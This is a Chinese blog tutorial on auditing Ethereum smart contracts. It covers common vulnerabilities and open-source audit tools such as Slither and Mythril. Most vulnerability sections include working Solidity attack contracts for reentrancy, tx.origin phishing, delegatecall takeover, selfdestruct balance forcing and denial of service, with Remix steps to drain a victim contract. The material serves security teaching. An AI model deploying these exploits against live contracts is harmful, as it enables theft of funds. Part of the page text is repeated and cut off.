智能合约审计

learnerL
更新于 2022-04-02 22:16
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总结常见合约漏洞，然后分析开源的合约审计工具，最后提供字节码分析的方法。

# 智能合约审计

## 常见漏洞

以下总结的常见漏洞基本涵盖一般的漏洞类型，部分内容可能过于细致，或许有更加合理的分类方法。不过，应该能给大家提供一定的参考。

### 整数溢出

注意，Solidity 0.8.0 开始，加入了自动检查[溢出](https://learnblockchain.cn/article/3302)，此版本之后的合约，可不必担心这个漏洞。

下面用 Beauty Chain 的例子说明，源码在[这里](https://etherscan.io/address/0xC5d105E63711398aF9bbff092d4B6769c82f793d#code)，可见如下：

从区块链浏览器将代码复制到 remix IDE，仔细看第 259行的 `batchTransfer` 函数，它用于给地址列表中的所有地址都转账 `_value`：

```solidity
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length;
    uint256 amount = uint256(cnt) * _value;
    require(cnt > 0 && cnt <= 20);
    require(_value > 0 && balances[msg.sender] >= amount);

balances[msg.sender] = balances[msg.sender].sub(amount);
    for (uint i = 0; i < cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
  }
```

但是没有检查 `amount` 是否溢出，这导致每个人的转账金额 `_value` 很大，但是总共的 `amount` 却接近0.

### 重入攻击

当攻击者调用储币合约中的 `withdraw` 函数时，`withdraw` 使用 call 底层调用发送以太币，此时接收者是攻击者的 fallback 函数，因此如果在 fallback 函数中重新调用 `withdraw` 函数，并且没有检查机制，就会发生[重入](https://learnblockchain.cn/article/3278)攻击。代码来自[这里](https://solidity-by-example.org/hacks/re-entrancy/)。如果不清楚 fallback 函数或者 receive 函数，可以看[笔记](https://learnblockchain.cn/article/3512#receive-%E5%87%BD%E6%95%B0)。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherStore {
    mapping(address => uint) public balances;

function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

(bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

balances[msg.sender] = 0;
    }

// Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

// Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

// Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

1. 先部署 EtherStore，然后分别用不同的账户 调用`deposit` 函数，单位选择 ether，value 为 1.

![image.png](https://img.learnblockchain.cn/attachments/2022/04/Kp6ju1kJ62485934da175.png)

![image.png](https://img.learnblockchain.cn/attachments/2022/04/aq7RB4Z06248593ee60c8.png)

2. 复制 EtherStore 合约地址，作为构造函数参数，选择 Attack 合约，部署(注意去除部署时地址的双引号)!

![image.png](https://img.learnblockchain.cn/attachments/2022/04/zVas0OxY624859486b580.png)

3. 选择新的账户，同样单位选择 ether，value 为 1，调用`attack `函数，可见`Attackt` 合约的账户余额增加，`EtherStore` 的账户余额归零。

最后，感兴趣的话可以阅读 theDAO 的[源码](https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code)，漏洞所在的函数为 `splitDAO`

### payable 函数导致合约余额更新

因为当执行函数之前，合约首先是读取交易对象，因此合约的余额会先改变成 原来的余额+msg.value，某些合约可能会未注意合约余额已发生改变，导致漏洞。

```solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract payableFunc {
    address public Owner;

constructor() payable {
        Owner = msg.sender;
    }

receive() external payable {}

function withdraw() public payable {
        require(msg.sender == Owner);
        payable(Owner).transfer(address(this).balance);
    }

function multiplicate(address adr) public payable {
        if (msg.value >= address(this).balance) {
            payable(adr).transfer(address(this).balance + msg.value);
        }
    }
}
```

这里的 `multiplicate` 函数 `msg.value >= address(this).balance` 永远不可能为真。

### tx.origin

用交易的发起者作为判断条件，可能会被精心设计的回退函数利用，转而调用其他的合约，`tx.origin` 仍然是最初的交易发起者，但是执行人却已经改变了。

如下面 `phish` 合约中的 `withdrawAll` 函数的要求的是 `tx.origin = owner`，那么如果是 `owner` 向 `TxOrigin` 合约发送以太币，就会触发 `fallback` 函数，在 `attack` 函数中调用 `withdrawAll` 函数，窃取以太币。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract phish {
    address public owner;
    constructor () {
    owner = msg.sender;
    }
    receive() external payable{}

fallback() external payable{}

function withdrawAll (address payable _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(address(this).balance);
    }
    function getOwner() public view returns(address) {
        return owner;
    }
}

contract TxOrigin {
    address  owner;
    phish PH;

constructor(address phishAddr) {
        owner = msg.sender;
        PH=phish(payable(phishAddr));
    }

### 短地址攻击

因为交易中的 `data` 参数是原始的调用数据经过 ABI 编码的数据，ABI 编码规则中常常会为了凑够 32 字节，在对原始参数编码时进行符号扩充（可见[博客](https://zhuanlan.zhihu.com/p/459969916)的**应用二进制接口(ABI)**）。因此，如果输入的地址太短，那么编码时不会检查，就会直接补零，导致接收者改变。

### 挖矿属性依赖

合约中有部分内置变量，这些变量会受到矿工的影响，因此不应该把它们当作特定的判断条件。

```solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
contract Roulette {
    uint public pastBlockTime;
    fallback() external payable {
        require(msg.value == 10 ether);
        require(block.timestamp != pastBlockTime);
        pastBlockTime = block.timestamp;
        if(block.timestamp % 15 == 0){//依赖了区块时间戳
        payable(msg.sender).transfer(address(this).balance);
        }   
    }
}
```

### 合约余额依赖

`selfdestruct` 函数是内置的强制执行的函数，因此即使合约并没有可接受以太币的方法，其他人也可以强制通过 `selfdestruct` 函数改变合约的余额。因此，需要仔细检查是否把合约余额当作判断标准。

例如下面的合约，规定只有恰好为 7 ether 才能胜出，但是攻击者可以通过 `selfdestruct` 函数让没有人能够达到 7 ether.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");//只有合约余额达到 7 ether 才能成功

if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

function claimReward() public {
        require(msg.sender == winner, "Not winner");

(bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}
```

### 数据私有属性的误解

标注为 `private` 区域的数据并不是不能访问，它们存储在一个又一个的 `slot` 里，如果读者不熟悉的话，可以阅读[博客](https://zhuanlan.zhihu.com/p/463670521)中关于 EVM 的存储空间的解释。

### delegatecall

代理调用时会用调用者的上下文替代被调用者的上下文，例如下面 `HackMe` 中的回退函代理调用 `lib` 的 `pwn` 函数时，在 `lib` 中的变量 `owner` 将会是 `HackMe` 中的 `owner`，因此 `pwn()` 中修改的实际上的 `HackMe` 的 `owner`，`msg` 对象是 `HackMe` 中的 `msg` 对象，也就是调用 `HackMe` 的人。

例如：

`Attack.attack ` 调用 `HackMe` ，然后找不到 `pwn()` 这个函数签名，因此跳转到回退函数，然后回退函数调用 `Lib`，匹配到了函数签名，但是由于上下文切换，造成了 `HackMe` 的全局变量被意外修改。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Lib {
    address public owner;

function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

constructor(address _hackMe) {
        hackMe = _hackMe;
    }

function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}
```

### 拒绝服务攻击

依赖某些特定条件才能执行的逻辑，如果有人恶意破坏并且没有检查是否满足条件，就会造成服务中断。

例如下面的例子：依赖接收者可以接收以太币，但是如果接收以太币的合约无 `receive` 函数或者 `fallback` 函数，就会让逻辑无法进行下去。

多人竞拍，如果有出价更高的则退回上个一竞拍者的以太币，并且更新胜出者 `king` 和当前标价 `balance`，`Attack` 合约参与竞拍，但是无法退回以太币给它，导致 DOS。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract KingOfEther {
    address public king;
    uint public balance;

function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

(bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}
```

### 交易顺序依赖

某些合约依赖收到交易地顺序，例如某些竞猜或者首发，“**第一个**” 之类的要求，那么就容易出现抢跑 (front run) 的情况。再例如，利用不同代币汇率差别，观察交易池，抢先在汇率变化之前完成交易。

下面是通过哈希值竞猜，观察交易池，以更高的 gasprice 抢跑。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract FindThisHash {
    bytes32 public constant hash =
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

constructor() payable {}

function solve(string memory solution) public {
        require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");

(bool sent, ) = msg.sender.call{value: 10 ether}("");
        require(sent, "Failed to send Ether");
    }
}
```

### 使用未初始化的内存

根据 Solidity 的编译器，如果需要临时存储的操作需要大于 64 字节的空间，那么不会放入 `0x00-0x3f` 的暂存空间，又考虑到临时存储的生命周期很短，因此直接在当前内存指针的下一个位置写入，但是内存指针不变，0x40-0x5f 记录的内存大小也不变，然后继续写入内存时直接覆盖。因此，在直接操作未使用的内存时，这块内存可能不是初始值。

如果在函数中声明 memory 变量，它可能不是初始值。

### 权限设置不当

取币、自毁操作需要设置严格的权限。建议非必要，不要设置 `selfdestruct` 函数。

### 合约实例偷换地址

例如，下面的 `Bank` 合约具有重入漏洞，似乎也只是多了一个 `Logger` 合约作为日志记录者。但是实际上，部署 `Bank` 的人可以在部署 `Bank` 时不填 `Logger` 的地址，而是直接填入 `HoneyPot` 的地址。在合约实例的名字的误导下，如果不去检查合约实例的地址上是否真的为预期内的代码，那么很容易上当。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract Bank {
    mapping(address => uint) public balances;
    Logger logger;

constructor(Logger _logger) {
        logger = Logger(_logger);
    }

function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

function withdraw(uint _amount) public {
        require(_amount <= balances[msg.sender], "Insufficient funds");

(bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

balances[msg.sender] -= _amount;

logger.log(msg.sender, _amount, "Withdraw");
    }
}

contract Logger {
    event Log(address caller, uint amount, string action);

function log(
        address _caller,
        uint _amount,
        string memory _action
    ) public {
        emit Log(_caller, _amount, _action);
    }
}

// Hacker tries to drain the Ethers stored in Bank by reentrancy.
contract Attack {
    Bank bank;

constructor(Bank _bank) {
        bank = Bank(_bank);
    }

fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

// Let's say this code is in a separate file so that others cannot read it.
contract HoneyPot {
    function log(
        address _caller,
        uint _amount,
        string memory _action
    ) public {
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

// Function to compare strings using keccak256
    function equal(string memory _a, string memory _b) public pure returns (bool) {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}
```

### 未检查底层调用结果

`call` 这类底层调用的方式失败并不会发生回滚。因此，攻击者可以精心设计 gas，让底层调用回滚，而其他语句继续运行。

### 签名重放

一般而言，签名会和特定的交易或者消息绑定，但是为了业务逻辑自己设计的多重签名，可能会疏忽造成签名重复使用。例如下面的 `transfer` 函数，通过库合约恢复发送者地址，但是如果签名是可重用的，那么就会造成意外的取款行为。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e/contracts/utils/cryptography/ECDSA.sol";

contract MultiSigWallet {
    using ECDSA for bytes32;

address[2] public owners;

constructor(address[2] memory _owners) payable {
        owners = _owners;
    }

function deposit() external payable {}

function transfer(
        address _to,
        uint _amount,
        bytes[2] memory _sigs
    ) external {
        bytes32 txHash = getTxHash(_to, _amount);
        require(_checkSigs(_sigs, txHash), "invalid sig");

(bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

function getTxHash(address _to, uint _amount) public view returns (bytes32) {
        return keccak256(abi.encodePacked(_to, _amount));
    }

function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
        private
        view
        returns (bool)
    {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

for (uint i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

if (!valid) {
                return false;
            }
        }

return true;
    }
}
```

## 开源审计工具

建议在 linux 或者 MacOS 下运行。

### [mythril](https://github.com/ConsenSys/mythril/tree/master)

Mythril 是 EVM 字节码的安全分析工具。它检测以太坊、Hedera、Quorum、Vechain、Roostock、Tron 和其他与 EVM 兼容的区块链构建的智能合约中的安全漏洞。它使用**静态分析**的方法，如**符号执行、SMT 解决和污点分析**来检测各种安全漏洞。另外，他还有收费版本的 MythX。

在我实际使用时，我发现他的漏洞检测只局限在少数几个简单的漏洞，如溢出、重入等。我感觉不是很满意，也许主要精力去做收费版了，这个开源版本维护的很少。

#### 使用示例

安装编译器

```
pip3 install solc-select
solc-select install 0.8.7
solc-select use 0.8.7
```

安装 mythril

```
pip3 install mythril
```

开始

```
myth analyze <solidity-file>
```

```
myth analyze -a <contract-address>
```

当我们学习静态分析后，将会再次详细介绍 mythril 的原理。

### **[echidna](https://github.com/crytic/echidna)**

Echidna 用 Haskell 语言写的，用于对以太坊智能合约进行**模糊测试**或者基于属性的测试。它使用基于 ABI 和语法的模糊测试，通过断言判断结果是否与预期相同。

特点：

- 自动生成适合的输入
- 可选的语料库、变异库和覆盖率指南，以发现更深层次的错误
- 在模糊测试之前由[Slither](https://github.com/crytic/slither) 提取有用信息
- 能够指出模糊测试覆盖哪些行
- 自动测试用例最小化以进行快速分类
- 支持使用[Etheno](https://github.com/crytic/etheno)和 Truffle进行复杂的合约初始化

#### 使用示例

首先需要指定断言函数，它的返回值应该永远为不变量。然后 echida 会生成一系列的测试用例，检查断言函数的返回值是否为真。

断言函数的写法：

1. 必须使用前缀`echidna_`
2. 参数为空
3. 返回预期永远为 true 或者 false 的布尔值

```go
function echidna_check_balance() public returns (bool) {
    return(balance >= 20);
}
```

编写好之后直接使用

```
echidna-test myContract.sol --corpus-dir .；
```

它会在当前文件夹下保留测试用例和程序的终止执行的地方，更加详细的见工具的 repo。

测试范例：

运行时需要使用合适版本的 solc

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Test {
    event Flag(bool);

bool private flag0 = true;
    bool private flag1 = true;

function set0(int256 val) public returns (bool) {
        if (val % 100 == 0) flag0 = false;
    }

function set1(int256 val) public returns (bool) {
        if (val % 10 == 0 && !flag0) flag1 = false;
    }

function echidna_alwaystrue() public pure returns (bool) {
        return (true);
    }

function echidna_revert_always() public pure returns (bool) {
        revert();
    }

function echidna_sometimesfalse() public returns (bool) {
        emit Flag(flag0);
        emit Flag(flag1);
        return (flag1);
    }
}
```

### [Slither](https://github.com/crytic/slither)

Slither 是一个用 Python 3 编写的 Solidity **静态分析**框架。它运行一套漏洞检测器，打印有关合约细节的可视信息，并提供一个 API 来轻松编写自定义分析。Slither 使开发人员能够发现漏洞，增强他们的代码理解能力，并能够快速自定义分析。

#### 使用示例

在 Truffle/Embark/Dapp/Etherlime/Hardhat 应用程序上运行 Slither：

```
slither .
```

在单个文件上运行 Slither：

```
slither tests/uninitialized.sol
```

建议安装 [solc-select](https://github.com/crytic/solc-select/)，他会自动下载、切换编译器版本，然后可以直接从主网拉取合约

```
slither 0x7F37f78cBD74481E593F9C737776F7113d76B315
```

这个工具比 mythril 强大许多，运行效率也高非常多，很快就能出结果，结果也高亮显示，很舒服。

![image.png](https://img.learnblockchain.cn/attachments/2022/04/zoEgkR4V6248596d9a047.png)

#### 检测器

slither 集成了许多的检测器，不同的检测器各自可以检测不同类型的漏洞，默认执行所有检测器，当然也可以指定只是用那几个检测器。

#### 打印器

slither 除了能检测合约的漏洞，还提供了许多其他有用的功能。可以直观分析

- 合约的控制流
- 调用关系图
- 函数将会执行的操作码
- 继承关系图
- 等等

这些工具对合约审计人员非常有帮助

例如分析调用关系

```
slither 0xC5d105E63711398aF9bbff092d4B6769c82f793d --print call-graph
```

生成了点图，需要安装查看点图软件

```
sudo apt install graphviz
sudo apt install gir1.2-gtk-3.0 python3-gi python3-gi-cairo python3-numpy graphviz
pip3 install xdot
```

然后可以用 xdot 查看流程图，也可以转换成图片

```
dot 0xC5d105E63711398aF9bbff092d4B6769c82f793d.all_contracts.call-graph.dot -Tpng -o call_graph.pn
```

![image.png](https://img.learnblockchain.cn/attachments/2022/04/JPl7rBi66248597923cbd.png)

为了查看函数的操作码，需要安装控制流依赖

```
pip3 install evm-cfg-builder
```

可以打印出来，这对合约的性能调优很有帮助。

```
slither 0xC5d105E63711398aF9bbff092d4B6769c82f793d --print evm
```

#### 工具

slither 还附带了一些工具，用于检查可升级合约代理、合约单约测试属性、代码扁平化（避免无意义的嵌套）、ERC 代币是否规范。

- `slither-check-upgradeability`:[Review `delegatecall`-based upgradeability](https://github.com/crytic/slither/wiki/Upgradeability-Checks)
- `slither-prop`:[Automatic unit test and property generation](https://github.com/crytic/slither/wiki/Property-generation)
- `slither-flat`:[Flatten a codebase](https://github.com/crytic/slither/wiki/Contract-Flattening)
- `slither-check-erc`:[Check the ERC&#39;s conformance](https://github.com/crytic/slither/wiki/ERC-Conformance)
- `slither-format`:[Automatic patch generation](https://github.com/crytic/slither/wiki/Slither-format)

### [manticore](https://github.com/trailofbits/manticore)

manticore 是基于**符号执行**方法的合约分析工具，它实际上也是通过断言，来判断是否满足某种属性。

特点：

- 给定输入，搜索可能的状态。
- 自动生成输入信息。
- 检测执行失败或者崩溃的地方。
- 通过事件或者指令钩子，更精确的控制搜索路径。

安装：

```
pip install "manticore[native]"
```

分析合约：

```
manticore mcore.sol
```

代码如下

```solidity
// Smart contract based on a classic symbolic execution example from slides
// by Michael Hicks, University of Maryland.
// https://www.cs.umd.edu/~mwh/se-tutorial/symbolic-exec.pdf
contract SymExExample {
    function test_me(int a, int b, int c) public pure {
        int x = 0;
        int y = 0;
        int z = 0;

if (a != 0) {
            x = -2;
        }

if (b < 5) {
            if (a == 0 && c != 0) {
                y = 1;
            }
            z = 2;
        }

// will fail when: a == 0 && b < 5 && c != 0
        assert(x + y + z != 3);
    }
}
```

> 如果运行 manticore 报错，请复制最后一行的提示信息，在谷歌搜索。大概率是依赖包版本问题。

> 注意：由于遍历或者搜索的效率其实比较慢，可能需要运行很久。

运行后将会生成很多辅助分析的材料，如何分析请见该[项目文档](https://github.com/trailofbits/manticore/wiki/What's-in-the-workspace%3F)。除此之外，也可以**高度自定义，编写 python  代码，初始化合约状态，然后再检查不变量**。

检测漏洞：

类似于断言的方法，判断合约是否满足某个属性，详细操作间见[文档](https://manticore.readthedocs.io/en/latest/verifier.html)。

### [scribble](https://github.com/ConsenSys/scribble)

也是基于断言的审计工具，但是比较特殊的是，他可以很方便的扫描链上的合约，然后寻找漏洞。它自称是“基于属性的运行时验证工具”，我暂时还不清楚它使用的原理。感兴趣可以深入阅读[它的文档](https://docs.scribble.codes/)。

### [Legions](https://github.com/ConsenSys/Legions)

他主要是提供了语法糖，可以简化节点的查询工作，比如不用每次查询余额都要写一串的 web3。

### [vscode-solidity-auditor](https://github.com/ConsenSys/vscode-solidity-auditor)

这是一个 vscode 的插件，通过可视化的方式辅助分析合约。建议使用时换成它自定义的主题，可能显示效果会好一些。使用方法请看标题的官方网站，介绍的很清楚，也有动图演示。

## 安全实践

### 了解常见的安全漏洞

以上列出了一些合约漏洞，对此需要有一定的了解。

请熟悉 [EIP-1470 提出的漏洞分类](https://swcregistry.io/)

### 学会使用安全工具

首先，有一个很棒的社区的总结《[以太坊智能合约 —— 最佳安全开发指南](https://github.com/ConsenSys/smart-contract-best-practices/blob/master/README-zh.md)》，强烈建议仔细阅读，虽然有部分内容可能过时了，但是仍然很有参考意义

其次，对合约进行单元测试，truffle 使用[Mocha](https://mochajs.org/)测试框架和[Chai](https://www.chaijs.com/)进行断言，也要测试前端 DApp 将如何调用合约。

![img](https://yos.io/assets/contract8.png)

从 Truffle `v5.1.0`开始，您可以中断测试以[调试](https://www.trufflesuite.com/docs/truffle/getting-started/debugging-your-contracts#in-test-debugging)测试流程并启动调试器，允许您设置断点、检查 Solidity 变量等。

然后，使用合约审计工具，如[Mythril](https://github.com/ConsenSys/mythril) 和[Slither](https://github.com/crytic/slither) 等，可以使用 [solidity-coverage](https://github.com/sc-forks/solidity-coverage) 检查测试的覆盖性。

### 使用开源的合约库

开源合约库经过严格的安全审查，很多项目依赖他们，一般而言比较可靠。

[openzeppelin/contracts](openzeppelin/contracts) 提供了常见的合约库，实现了一些标准库，如 ERC20、ERC721，仓库中可阅读[源码](https://github.com/OpenZeppelin/openzeppelin-contracts)。

![image.png](https://img.learnblockchain.cn/attachments/2022/04/8YZvlri562485991239e5.png)

[dappsys](https://github.com/dapphub/dappsys) 是一个新兴的合约库，用法参见文档[文档](https://dappsys.readthedocs.io/en/latest/)

![image.png](https://img.learnblockchain.cn/attachments/2022/04/Lj3D3Zs5624859994f6ef.png)

## 深入字节码分析

这一部分将会在 以太坊设计原理中深入探讨。欢迎关注仓库，共同编辑。
https://github.com/learnerLj/geth-analyze

## 合约优化

在保证合约安全的前提下，优化合约往往是指优化 gas。合约消耗的 gas 主要由两部分组成，每次执行和部署时的消耗。

## 参考：

> 1. [Solidity Security: Comprehensive list of known attack vectors and common anti-patterns](https://blog.sigmaprime.io/solidity-security.html)
> 2. [Smart Contract Weakness Classification Registry](https://github.com/SmartContractSecurity/SWC-registry)
> 3. 《智能合约安全分析和审计指南》王艺卓等
> 4. EIP-1470 提出的[Smart Contract Weakness Classification Registry](https://swcregistry.io/)
> 5. [8 Ways of Reducing the Gas Consumption of your Smart Contracts](https://medium.com/coinmonks/8-ways-of-reducing-the-gas-consumption-of-your-smart-contracts-9a506b339c0a)
> 6. [smart-contract-development-best-practices](https://yos.io/2019/11/10/smart-contract-development-best-practices/)
> 7. https://immunefi.com/learn/
> 8. [The Encyclopedia of Smart Contract Attacks and Vulnerabilities](https://betterprogramming.pub/the-encyclopedia-of-smart-contract-attacks-vulnerabilities-dfc1129fdaac)

智能合约审计

常见漏洞

以下总结的常见漏洞基本涵盖一般的漏洞类型，部分内容可能过于细致，或许有更加合理的分类方法。不过，应该能给大家提供一定的参考。

整数溢出

注意，Solidity 0.8.0 开始，加入了自动检查溢出，此版本之后的合约，可不必担心这个漏洞。

下面用 Beauty Chain 的例子说明，源码在这里，可见如下：

从区块链浏览器将代码复制到 remix IDE，仔细看第 259行的 batchTransfer 函数，它用于给地址列表中的所有地址都转账 _value：

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length;
    uint256 amount = uint256(cnt) * _value;
    require(cnt > 0 && cnt &lt;= 20);
    require(_value > 0 && balances[msg.sender] >= amount);

    balances[msg.sender] = balances[msg.sender].sub(amount);
    for (uint i = 0; i &lt; cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
  }

但是没有检查 amount 是否溢出，这导致每个人的转账金额 _value 很大，但是总共的 amount 却接近0.

重入攻击

当攻击者调用储币合约中的 withdraw 函数时，withdraw 使用 call 底层调用发送以太币，此时接收者是攻击者的 fallback 函数，因此如果在 fallback 函数中重新调用 withdraw 函数，并且没有检查机制，就会发生重入攻击。代码来自这里。如果不清楚 fallback 函数或者 receive 函数，可以看笔记。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

先部署 EtherStore，然后分别用不同的账户调用deposit 函数，单位选择 ether，value 为 1.

复制 EtherStore 合约地址，作为构造函数参数，选择 Attack 合约，部署(注意去除部署时地址的双引号)!

选择新的账户，同样单位选择 ether，value 为 1，调用attack函数，可见Attackt 合约的账户余额增加，EtherStore 的账户余额归零。

最后，感兴趣的话可以阅读 theDAO 的源码，漏洞所在的函数为 splitDAO

payable 函数导致合约余额更新

因为当执行函数之前，合约首先是读取交易对象，因此合约的余额会先改变成原来的余额+msg.value，某些合约可能会未注意合约余额已发生改变，导致漏洞。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract payableFunc {
    address public Owner;

    constructor() payable {
        Owner = msg.sender;
    }

    receive() external payable {}

    function withdraw() public payable {
        require(msg.sender == Owner);
        payable(Owner).transfer(address(this).balance);
    }

    function multiplicate(address adr) public payable {
        if (msg.value >= address(this).balance) {
            payable(adr).transfer(address(this).balance + msg.value);
        }
    }
}

这里的 multiplicate 函数 msg.value >= address(this).balance 永远不可能为真。

tx.origin

用交易的发起者作为判断条件，可能会被精心设计的回退函数利用，转而调用其他的合约，tx.origin 仍然是最初的交易发起者，但是执行人却已经改变了。

如下面 phish 合约中的 withdrawAll 函数的要求的是 tx.origin = owner，那么如果是 owner 向 TxOrigin 合约发送以太币，就会触发 fallback 函数，在 attack 函数中调用 withdrawAll 函数，窃取以太币。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract phish {
    address public owner;
    constructor () {
    owner = msg.sender;
    }
    receive() external payable{}

    fallback() external payable{}

    function withdrawAll (address payable _recipient) public {
        require(tx.origin == owner);
        _recipient.transfer(address(this).balance);
    }
    function getOwner() public view returns(address) {
        return owner;
    }
}

contract TxOrigin {
    address  owner;
    phish PH;

    constructor(address phishAddr) {
        owner = msg.sender;
        PH=phish(payable(phishAddr));
    }

    function attack() internal {
        address phOwner = PH.getOwner();
        if (phOwner == msg. sender) {
            PH.withdrawAll(payable(owner));
        } else {
            payable(owner).transfer(address(this). balance);
        }
    }
    fallback() external payable{
        attack();
    }
}

短地址攻击

因为交易中的 data 参数是原始的调用数据经过 ABI 编码的数据，ABI 编码规则中常常会为了凑够 32 字节，在对原始参数编码时进行符号扩充（可见博客的应用二进制接口(ABI)）。因此，如果输入的地址太短，那么编码时不会检查，就会直接补零，导致接收者改变。

挖矿属性依赖

合约中有部分内置变量，这些变量会受到矿工的影响，因此不应该把它们当作特定的判断条件。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
contract Roulette {
    uint public pastBlockTime;
    fallback() external payable {
        require(msg.value == 10 ether);
        require(block.timestamp != pastBlockTime);
        pastBlockTime = block.timestamp;
        if(block.timestamp % 15 == 0){//依赖了区块时间戳
        payable(msg.sender).transfer(address(this).balance);
        }   
    }
}

合约余额依赖

selfdestruct 函数是内置的强制执行的函数，因此即使合约并没有可接受以太币的方法，其他人也可以强制通过 selfdestruct 函数改变合约的余额。因此，需要仔细检查是否把合约余额当作判断标准。

例如下面的合约，规定只有恰好为 7 ether 才能胜出，但是攻击者可以通过 selfdestruct 函数让没有人能够达到 7 ether.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance &lt;= targetAmount, "Game is over");//只有合约余额达到 7 ether 才能成功

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
